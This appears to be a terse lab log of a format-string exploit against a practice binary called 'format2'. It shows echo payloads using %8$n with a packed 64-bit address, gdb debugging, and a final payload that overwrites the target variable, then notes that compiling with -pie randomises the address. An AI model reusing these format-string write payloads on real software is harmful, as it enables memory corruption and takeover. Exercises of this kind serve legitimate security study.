-> echo -e “%8\$x \x5c\x10\x60\x00” | ./format2
: echo -e “%8\$n \x5c\x10\x60\x00” | ./format2
-> Segmentation fault(core dumped) (=error)
: echo -e “%8\$n \x5c\x10\x60\x00” > exp
-> gdb -q ./format2
-> run < exp
: Why Error?
-> 64bit
: echo -e “%8\$n \x5c\x10\x60\x00\x00\x00\x00\x00” | /.format2
-> target is 0 (=Fault)
: echo -e “%8\$n \x5c\x10\x60\x00\x00\x00\x00\xFF > exp
-> gdb -q ./format2
-> run < exp
-> 0xff0000000060105c
: echo -e “%64d%8\$n \x5c\x10\x60\x00\x00\x00\x00\xFF | ./format2
: How to make it harder to identify attacks
-> gcc format2.c -o format2 -pie —fPIC
(pie = position independent executable)
-> The target's address keeps changing.